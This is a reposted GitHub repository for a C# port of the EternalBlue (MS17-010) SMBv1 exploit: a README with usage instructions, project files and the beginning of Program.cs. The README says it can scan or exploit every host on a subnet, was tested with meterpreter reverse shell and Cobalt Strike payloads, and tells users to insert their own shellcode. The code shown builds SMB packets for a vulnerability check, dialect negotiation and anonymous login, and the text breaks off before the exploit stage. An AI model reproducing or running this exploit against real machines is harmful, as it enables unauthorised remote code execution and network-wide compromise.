

Eternal blue in C#

- [README.md](#)
- [Eternalblue.sln](#)
- [.gitignore](#)
- [.gitattributes](#)
- [folder 1 Eternal blue](#)
 - [Eternalblue/Eternalblue/Properties /AssemblyInfo.cs](#)
 - [Eternalblue/App.config](#)
 - [Eternalblue/Eternalblue.csproj](#)
 - [Eternalblue/Eternalblue /Program.cs](#)
- [Eternalblue/img /Detect.PNG "Various Imgs"](#)

README.md

i took this from [lassehauballe](#) / [Eternalblue](#)

<https://github.com/lassehauballe/Eternalblue>

it hasn't been updated in at least two years since this post

if you consider each page as a file, and each chapter as a folder,

for example this is the readme.md

anyways this is entirely for educational purposes coz id like to learn c# and id like to learn about offsec

so I think reading malware offensive cyber security tools is cool :D

Eternalblue in C#

This project is an almost direct translation of

https://github.com/EmpireProject/Empire/blob/master/data/module_source/exploitation/Exploit-

[EternalBlue.ps1](#). However, the Empire-script did not test if the target is vulnerable. To test for this, I also translated a bit of Metasploits auxiliary/scanner/smb/smb_ms17_010

This was created as an educational project to help myself gain an understanding of how Eternalblue actually works.

Please do use at your own risk, as I have also seen a couple of BSOD during development.

The code has only been tested using msfvenom x64 exec, meterpreter reverse shell shellcode and cobaltstrike. Remember this is the old eternalblue exploit, so should not work on windows 8 and newer.

Updates:

- It is hardcoded with 'Grooms' set to 12
- It can now be run using either "detect or exploit". The first will only detect if its vulnerable or not.
- It can be run with either an IP or the word 'all'. In the latter, it will go through every host on the subnet. At this time, it only spreads on 192.168.XXX.XXX/24 networks.

How to use:

1. Replace the shellcode byte[] called 'buf' in Exploit (line 1028) (The current shellcode just starts notepad.exe (as system))
2. Compile
3. Eternalblue.exe [detect/exploit] [ip/all]

Video: With Cobalt-Strike payload

[Eternalblue in C# with Cobalt-Strike payload](#)

Eternalblue.exe running in detect-mode on the entire network

[alt text](#)

Eternalblue.exe running in exploit-mode on the entire network

[alt text](#)

Eternalblue.sln

```
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31025.194
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Eternalblue",
"Eternalblue\Eternalblue.csproj", "{70D1B187-5A8B-4EC9-806E-146A966E4C7D}"
EndProject
Global
  GlobalSection(SolutionConfigurationPlatforms) = preSolution
    Debug|Any CPU = Debug|Any CPU
    Debug|x64 = Debug|x64
    Release|Any CPU = Release|Any CPU
    Release|x64 = Release|x64
  EndGlobalSection
  GlobalSection(ProjectConfigurationPlatforms) = postSolution
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Debug|Any CPU.ActiveCfg = Release|Any CPU
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Debug|Any CPU.Build.0 = Release|Any CPU
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Debug|x64.ActiveCfg = Debug|x64
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Debug|x64.Build.0 = Debug|x64
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Release|Any CPU.ActiveCfg = Release|Any CPU
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Release|Any CPU.Build.0 = Release|Any CPU
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Release|x64.ActiveCfg = Release|x64
    {70D1B187-5A8B-4EC9-806E-146A966E4C7D}.Release|x64.Build.0 = Release|x64
  EndGlobalSection
  GlobalSection(SolutionProperties) = preSolution
    HideSolutionNode = FALSE
  EndGlobalSection
  GlobalSection(ExtensibilityGlobals) = postSolution
    SolutionGuid = {DA049BB6-AB03-423E-9FA2-31236507AA56}
  EndGlobalSection
EndGlobal
```

.gitignore

```
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore

# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates

# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs

# Mono auto generated files
mono_crash.*

# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][l][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/

# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
```

Visual Studio 2017 auto generated files
Generated\ Files/

MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[LI]og.*

NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml

Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c

Benchmark Results
BenchmarkDotNet.Artifacts/

.NET Core
project.lock.json
project.fragment.lock.json
artifacts/

ASP.NET Scaffolding
ScaffoldingReadMe.txt

StyleCop
StyleCopReport.xml

Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb

*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspcc
*.vsscc
.builds
*.pidb
*.svclg
*.scc

Chutzpah Test files
_Chutzpah*

Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb

Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap

Visual Studio Trace Files
*.e2e

TFS 2012 Local Workspace
\$tf/

Guidance Automation Toolkit
*.gpState

ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user

TeamCity is a build add-in
_TeamCity*

DotCover is a Code Coverage Tool
*.dotCover

AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json

Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info

Visual Studio code coverage results
*.coverage
*.coveragexml

NCrunch
NCrunch*
.*crunch*.local.xml
nCrunchTemp_*

MightyMoose
.mm.
AutoTest.Net/

Web workbench (sass)
.sass-cache/

Installshield output folder
[Ee]xpress/

DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

Click-Once directory
publish/

```
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj

# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/

# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets

# Microsoft Azure Build Output
csx/
*.build.csdef

# Microsoft Azure Emulator
ecf/
rcf/

# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload

# Visual Studio cache files
# files ending in .cache can be ignored
```

```
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/

# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs

# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk

# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/

# RIA/Silverlight projects
Generated_Code/

# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak

# SQL Server files
*.mdf
*.ldf
*.ndf

# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
```

```
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl

# Microsoft Fakes
FakesAssemblies/

# GhostDoc plugin setting file
*.GhostDoc.xml

# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/

# Visual Studio 6 build log
*.plg

# Visual Studio 6 workspace options file
*.opt

# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw

# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions

# Paket dependency manager
.paket/paket.exe
paket-files/

# FAKE - F# Make
.fake/

# CodeRush personal settings
.cr/personal

# Python Tools for Visual Studio (PTVS)
__pycache__/_
*.pyc

# Cake - Uncomment if you are using it
# tools/**
```

!tools/packages.config

Tabs Studio

*.tss

Telerik's JustMock configuration file

*.jmconfig

BizTalk build output

*.btp.cs

*.btm.cs

*.odx.cs

*.xsd.cs

OpenCover UI analysis results

OpenCover/

Azure Stream Analytics local run output

ASALocalRun/

MSBuild Binary and Structured Log

*.binlog

NVidia Nsight GPU debugger configuration file

*.nvuser

MFractors (Xamarin productivity tool) working folder

.mfractor/

Local History for Visual Studio

.localhistory/

BeatPulse healthcheck temp database

healthchecksdb

Backup folder for Package Reference Convert tool in Visual Studio 2017

MigrationBackup/

Ionide (cross platform F# VS Code tools) working folder

.ionide/

Fody - auto-generated XML schema

FodyWeavers.xsd

.gitattributes

```
#####  
#####  
# Set default behavior to automatically normalize line endings.  
#####  
#####  
* text=auto  
  
#####  
#####  
# Set default behavior for command prompt diff.  
#  
# This is need for earlier builds of msysgit that does not have it on by  
# default for csharp files.  
# Note: This is only used by command line  
#####  
#####  
#*.cs diff=csharp  
  
#####  
#####  
# Set the merge driver for project and solution files  
#  
# Merging from the command prompt will add diff markers to the files if there  
# are conflicts (Merging from VS is not affected by the settings below, in VS  
# the diff markers are never inserted). Diff markers may cause the following  
# file extensions to fail to load in VS. An alternative would be to treat  
# these files as binary and thus will always conflict and require user  
# intervention with every merge. To do so, just uncomment the entries below  
#####  
#####  
#*.sln merge=binary  
#*.csproj merge=binary  
#*.vbproj merge=binary  
#*.vcxproj merge=binary  
#*.vcproj merge=binary  
#*.dbproj merge=binary  
#*.fsproj merge=binary  
#*.lsproj merge=binary  
#*.wixproj merge=binary  
#*.modelproj merge=binary  
#*.sqlproj merge=binary
```

```
##*.wwaproj merge=binary
```

```
#####  
#####
```

```
# behavior for image files
```

```
#
```

```
# image files are treated as binary by default.
```

```
#####  
#####
```

```
##*.jpg binary
```

```
##*.png binary
```

```
##*.gif binary
```

```
#####  
#####
```

```
# diff behavior for common document formats
```

```
#
```

```
# Convert binary document formats to text before diffing them. This feature
```

```
# is only available from the command line. Turn it on by uncommenting the
```

```
# entries below.
```

```
#####  
#####
```

```
##*.doc diff=astextplain
```

```
##*.DOC diff=astextplain
```

```
##*.docx diff=astextplain
```

```
##*.DOCX diff=astextplain
```

```
##*.dot diff=astextplain
```

```
##*.DOT diff=astextplain
```

```
##*.pdf diff=astextplain
```

```
##*.PDF diff=astextplain
```

```
##*.rtf diff=astextplain
```

```
##*.RTF diff=astextplain
```

folder 1 Eternal blue

folder 1 Eternal blue

Eternalblue/Eternalblue/Properties /AssemblyInfo.cs

```
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
```

```
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
```

```
[assembly: AssemblyTitle("Eternalblue")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Eternalblue")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
```

```
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
```

```
[assembly: ComVisible(false)]
```

```
// The following GUID is for the ID of the typelib if this project is exposed to COM
```

```
[assembly: Guid("70d1b187-5a8b-4ec9-806e-146a966e4c7d")]
```

```
// Version information for an assembly consists of the following four values:
```

```
//
```

```
// Major Version
```

```
// Minor Version
```

```
// Build Number
```

```
// Revision
```

```
//
```

```
// You can specify all the values or you can default the Build and Revision Numbers
```

```
// by using the '*' as shown below:
```

```
// [assembly: AssemblyVersion("1.0.*")]
```

```
[assembly: AssemblyVersion("1.0.0.0")]
```

```
[assembly: AssemblyFileVersion("1.0.0.0")]
```

folder 1 Eternal blue

Eternalblue/App.config

```
<?xml version="1.0" encoding="utf-8" ?>  
<configuration>  
  <startup>  
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />  
  </startup>  
</configuration>
```

Eternalblue/Eternalblue.csproj

```
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props"
    Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"/>
  </>
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{70D1B187-5A8B-4EC9-806E-146A966E4C7D}</ProjectGuid>
    <OutputType>Exe</OutputType>
    <RootNamespace>Eternalblue</RootNamespace>
    <AssemblyName>Eternalblue</AssemblyName>
    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
    <FileAlignment>512</FileAlignment>
    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
    <Deterministic>true</Deterministic>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>>false</Optimize>
    <OutputPath>bin\Debug\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
  </PropertyGroup>
</Project>
```

```
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
  <DebugSymbols>>true</DebugSymbols>
  <OutputPath>bin\x64\Debug\</OutputPath>
  <DefineConstants>DEBUG;TRACE</DefineConstants>
  <DebugType>full</DebugType>
  <PlatformTarget>x64</PlatformTarget>
  <LangVersion>7.3</LangVersion>
  <ErrorReport>prompt</ErrorReport>
  <Prefer32Bit>>true</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
  <OutputPath>bin\x64\Release\</OutputPath>
  <DefineConstants>TRACE</DefineConstants>
  <Optimize>>true</Optimize>
  <DebugType>pdbonly</DebugType>
  <PlatformTarget>x64</PlatformTarget>
  <LangVersion>7.3</LangVersion>
  <ErrorReport>prompt</ErrorReport>
  <Prefer32Bit>>true</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
  <Reference Include="System" />
  <Reference Include="System.Core" />
  <Reference Include="System.Xml.Linq" />
  <Reference Include="System.Data.DataSetExtensions" />
  <Reference Include="Microsoft.CSharp" />
  <Reference Include="System.Data" />
  <Reference Include="System.Net.Http" />
  <Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
  <Compile Include="Program.cs" />
  <Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
  <None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
```

</Project>

folder 1 Eternal blue

Eternalblue/Eternalblue /Program.cs

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;

namespace Eternalblue
{
    class Program
    {

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct NETBIOS_HEADER
        {
            public uint MessageTypeAndSize;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_HEADER
        {
            public uint protocol;
            public byte command;
            public byte errorClass;
            public byte _reserved;
            public ushort errorCode;
            public byte flags;
            public ushort flags2;
            public ushort PIDHigh;
            public ulong SecurityFeatures;
            public ushort reserved;
        }
    }
}
```

```

    public ushort TID;
    public ushort PIDLow;
    public ushort UID;
    public ushort MID;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_SESSION_SETUP_ANDX_RESPONSE
{
    public byte WordCount;
    public byte AndxCommand;
    public byte reserved;
    public ushort AndxOffset;
    public ushort action;
    public ushort ByteCount;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_SESSION_SETUP_ANDX_REQUEST
{
    public byte WordCount;
    public byte AndxCommand;
    public byte reserved1;
    public ushort AndxOffset;
    public ushort MaxBuffer;
    public ushort MaxMpxCount;
    public ushort VcNumber;
    public uint SessionKey;
    public ushort OEMPasswordLen;
    public ushort UnicodePasswordLen;
    public uint Reserved2;
    public uint Capabilities;
    public ushort ByteCount;
    //SMB Data added manually
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_NEGOTIATE_REQUEST
{
    public byte WordCount;

```

```

    public ushort ByteCount;
    //Dialects are added manually
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TRANSACTION_REQUEST
{
    public byte WordCount;
    public ushort TotalParameterCount;
    public ushort TotalDataCount;
    public ushort MaxParameterCount;
    public ushort MaxDataCount;
    public byte MaxSetupCount;
    public byte Reserved;
    public ushort Flags;
    public uint Timeout;
    public ushort Reserved2;
    public ushort ParameterCount;
    public ushort ParameterOffset;
    public ushort DataCount;
    public ushort DataOffset;
    public byte SetupCount;
    public byte Reserved3;
    public ushort Function;
    public ushort FID;
    public ushort ByteCount;
    //TransactionName added manually
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TREE_CONNECT_ANDX_REQUEST
{
    public byte WordCount;
    public byte AndXCommand;
    public byte AndXReserved;
    public ushort AndXOffset;
    public ushort Flags;
    public ushort PasswordLength;
    public ushort ByteCount;
    //SMBData added manually
}

```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_ECHO_REQUEST
{
    public byte WordCount;
    public ushort EchoSequenceNumber;
    public ushort ByteCount;
    //SMBData added manually
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_NT_TRANSACT_REQUEST
{
    public byte WordCount;
    public byte MaxSetupCount;
    public ushort Reserved;
    public uint TotalParameterCount;
    public uint TotalDataCount;
    public uint MaxParameterCount;
    public uint MaxDataCount;
    public uint ParameterCount;
    public uint ParameterOffset;
    public uint DataCount;
    public uint DataOffset;
    public byte SetupCount;
    public ushort Function;
    public ushort Setup;
    public ushort ByteCount;
    //SMBData added manually
}
```

```
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
    public byte WordCount;
    public ushort TotalParameterCount;
    public ushort TotalDataCount;
    public ushort ParameterCount;
    public ushort ParameterOffset;
    public ushort ParameterDisplacement;
}
```

```

    public ushort DataCout;
    public ushort DataOffset;
    public ushort DataDisplacement;
    public ushort FID;
    public ushort ByteCount;
    //SMBData added manually
}

static public SMB_COM_NEGOTIATE_REQUEST SMB_COMNegotiateRequestFromBytes(byte[] arr)
{
    SMB_COM_NEGOTIATE_REQUEST str = new SMB_COM_NEGOTIATE_REQUEST();
    int size = Marshal.SizeOf(str);
    IntPtr ptr = Marshal.AllocHGlobal(size);
    Marshal.Copy(arr, 0, ptr, size);
    str = (SMB_COM_NEGOTIATE_REQUEST)Marshal.PtrToStructure(ptr, str.GetType());
    Marshal.FreeHGlobal(ptr);
    return str;
}

static public byte[] SetNetBiosHeader(byte[] pkt)
{
    uint size = (uint)pkt.Length;
    byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
    NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
    netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
    byte[] netbios_header_packet = GetBytes(netbios_header);
    byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
    return fullMessage;
}

static public void SendSMBMessage(Socket sock, byte[] pkt, bool SetHeader)
{
    //Calculate and set Message Length for NetBios Header
    if (SetHeader)
    {
        pkt = SetNetBiosHeader(pkt);
    }
    try
    {

```

```

        sock.Send(pkt);
    }
    catch (Exception e)
    {
        Console.WriteLine("Socket Error, during sending: " + e.Message);
    }
}

static public byte[] ReceiveSMBMessage(Socket sock)
{
    byte[] response = new byte[1024];
    try
    {
        sock.Receive(response);
    }
    catch (Exception e)
    {
        Console.WriteLine("Socket Error, during receive: " + e.Message);
    }
    return response.Skip(4).ToArray();
}

static public byte[] GetBytes(object str)
{
    int size = Marshal.SizeOf(str);

    byte[] arr = new byte[size];
    IntPtr ptr = Marshal.AllocHGlobal(size);
    Marshal.StructureToPtr(str, ptr, true);
    Marshal.Copy(ptr, arr, 0, size);
    Marshal.FreeHGlobal(ptr);
    return arr;
}

static public SMB_COM_SESSION_SETUP_ANDX_RESPONSE SMB_AndxResponseFromBytes(byte[]
arr)
{
    SMB_COM_SESSION_SETUP_ANDX_RESPONSE str = new
SMB_COM_SESSION_SETUP_ANDX_RESPONSE();
    int size = Marshal.SizeOf(str);

```

```

        IntPtr ptr = Marshal.AllocHGlobal(size);
        Marshal.Copy(arr, 0, ptr, size);
        str = (SMB_COM_SESSION_SETUP_ANDX_RESPONSE)Marshal.PtrToStructure(ptr,
str.GetType());
        Marshal.FreeHGlobal(ptr);
        return str;
    }

    static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr)
    {
        SMB_HEADER str = new SMB_HEADER();
        int size = Marshal.SizeOf(str);
        IntPtr ptr = Marshal.AllocHGlobal(size);
        Marshal.Copy(arr, 0, ptr, size);
        str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType());
        Marshal.FreeHGlobal(ptr);
        return str;
    }

    static public bool IsValidSMB1Header(SMB_HEADER header)
    {
        if (header.protocol == 0x424d53ff)
        {
            return true;
        }
        return false;
    }

    static public void DetectVersionOfWindows(byte[] res)
    {
        SMB_HEADER header = SMB_HeaderFromBytes(res);
        if (!IsValidSMB1Header(header))
        {
            Console.WriteLine("Did not receive proper response when determining version...
Are you sure this server is running SMB?");
            return;
        }
        int sizeofHeader = Marshal.SizeOf(header);
        SMB_COM_SESSION_SETUP_ANDX_RESPONSE andxr =
SMB_AndxResponseFromBytes(res.Skip(sizeofHeader).ToArray());
        int byteCount = andxr.ByteCount;

```

```

int sizeOfAndxr = Marshal.SizeOf(andxr);
byte[] data = res.Skip(sizeOfHeader + sizeOfAndxr +
1).ToArray().Take(byteCount).ToArray(); //The 1 is for Padding- This could become a problem
string hexString = BitConverter.ToString(data).Replace("-00-00-00-", "&"); //The
SMB data is split using 3 0x00 bytes, these are changed to an '&' for easier split
string[] hexStringSplit = hexString.Split('&');

for (int i = 0; i < 3; i++)
{
    StringBuilder strbuilder = new StringBuilder();
    string[] charArray = hexStringSplit[i].Split('-');
    foreach (string chars in charArray)
    {
        int value = Convert.ToInt32(chars, 16);
        char charValue = (char)value;
        if (charValue != 0)
        {
            strbuilder.Append(charValue);
        }
    }
    if (i == 0)
    {
        Console.WriteLine("Native OS: " + strbuilder.ToString());
    }
    else if (i == 1)
    {
        Console.WriteLine("Native LAN Manager: " + strbuilder.ToString());
    }
    else if (i == 2)
    {
        Console.WriteLine("Domain: " + strbuilder.ToString());
    }
}

static public bool CheckVulnerability(Socket sock)
{
    bool vulnerable = false;
    SMB_HEADER header = new SMB_HEADER
    {

```

```

    protocol = 0x424d53ff,
    command = 0x25,
    errorClass = 0x00,
    _reserved = 0x00,
    errorCode = 0x0000,
    flags = 0x18,
    flags2 = 0x2801,
    PIDHigh = 0x0000,
    SecurityFeatures = 0x0000000000000000,
    reserved = 0x0000,
    TID = 0x0800,
    PIDLow = 0x5604,
    UID = 0x0800,
    MID = 0x8624
};
byte[] headerBytes = GetBytes(header);

SMB_COM_TRANSACTION_REQUEST transRequest = new SMB_COM_TRANSACTION_REQUEST
{
    WordCount = 0x10,
    TotalParameterCount = 0x0000,
    TotalDataCount = 0x0000,
    MaxParameterCount = 0xffff,
    MaxDataCount = 0xffff,
    MaxSetupCount = 0x00,
    Reserved = 0x00,
    Flags = 0x0000,
    Timeout = 0x00000000,
    Reserved2 = 0x0000,
    ParameterCount = 0x0000,
    ParameterOffset = 0x004a,
    DataCount = 0x0000,
    DataOffset = 0x004a,
    SetupCount = 0x02,
    Reserved3 = 0x00,
    Function = 0x0023,
    FID = 0x0000
};
byte[] transactionName = Encoding.UTF8.GetBytes("\\PIPE\\0");
transRequest.ByteCount = (ushort)transactionName.Length;

```

```

        byte[] transRequestBytes =
GetBytes(transRequest).Concat(transactionName).ToArray();
        byte[] pkt = headerBytes.Concat(transRequestBytes).ToArray();
        SendSMBMessage(sock, pkt, true);

        header = SMB_HeaderFromBytes(ReceiveSMBMessage(sock));
        if (header.errorClass == 0x05 && header._reserved == 0x02 && header.errorCode ==
0xc000) //This equals STATUS_INSUFF_SERVER_RESOURCES
        {
            return true;
        }
        return vulnerable;
    }

static public byte[] ClientNegotiate(Socket sock)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x72,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0x2801,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = 0x0000,
        PIDLow = 0x4b2f,
        UID = 0x0000,
        MID = 0x5ec5
    };
    byte[] headerBytes = GetBytes(header);

    SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST
    {
        WordCount = 0x00
    };
};

```

```

List<byte> dialects = new List<byte>();
dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0"));
req.ByteCount = (ushort)dialects.Count;

byte[] negotiateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray();
string hex = BitConverter.ToString(negotiateRequest);
byte[] pkt = headerBytes.Concat(negotiateRequest).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}

public static string ByteArrayToString(byte[] ba)
{
    StringBuilder hex = new StringBuilder(ba.Length * 2);
    foreach (byte b in ba)
        hex.AppendFormat("{0:x2}-", b);
    return hex.ToString();
}

static public byte[] SMB1AnonymousLogin(Socket sock)
{
    SMB_HEADER header = new SMB_HEADER
    {
        protocol = 0x424d53ff,
        command = 0x73,
        errorClass = 0x00,
        _reserved = 0x00,
        errorCode = 0x0000,
        flags = 0x18,
        flags2 = 0xc007,
        PIDHigh = 0x0000,
        SecurityFeatures = 0x0000000000000000,
        reserved = 0x0000,
        TID = 0xfeff,
        PIDLow = 0x0000,
        UID = 0x0000,
    }
}

```

```

        MID = 0x0040
    };
    byte[] headerBytes = GetBytes(header);

    SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new
SMB_COM_SESSION_SETUP_ANDX_REQUEST
    {
        WordCount = 0x0d,
        AndxCommand = 0xff,
        reserved1 = 0x00,
        AndxOffset = 0x0088,
        MaxBuffer = 0x1104,
        MaxMpxCount = 0x00a0,
        VcNumber = 0x0000,
        SessionKey = 0x00000000,
        OEMPasswordLen = 0x0001,
        UnicodePasswordLen = 0x0000,
        Reserved2 = 0x00000000,
        Capabilities = 0x000000d4
    };
    List<byte> SMBData = new List<byte>();
    byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 };
    SMBData.AddRange(nulls);
    SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0
\02\01\09\05\0\0\0"));
    SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0
\05\0.\00\0\0\0"));
    AndxRequest.ByteCount = (ushort)SMBData.Count;

    byte[] AndxRequestBytes =
GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray();
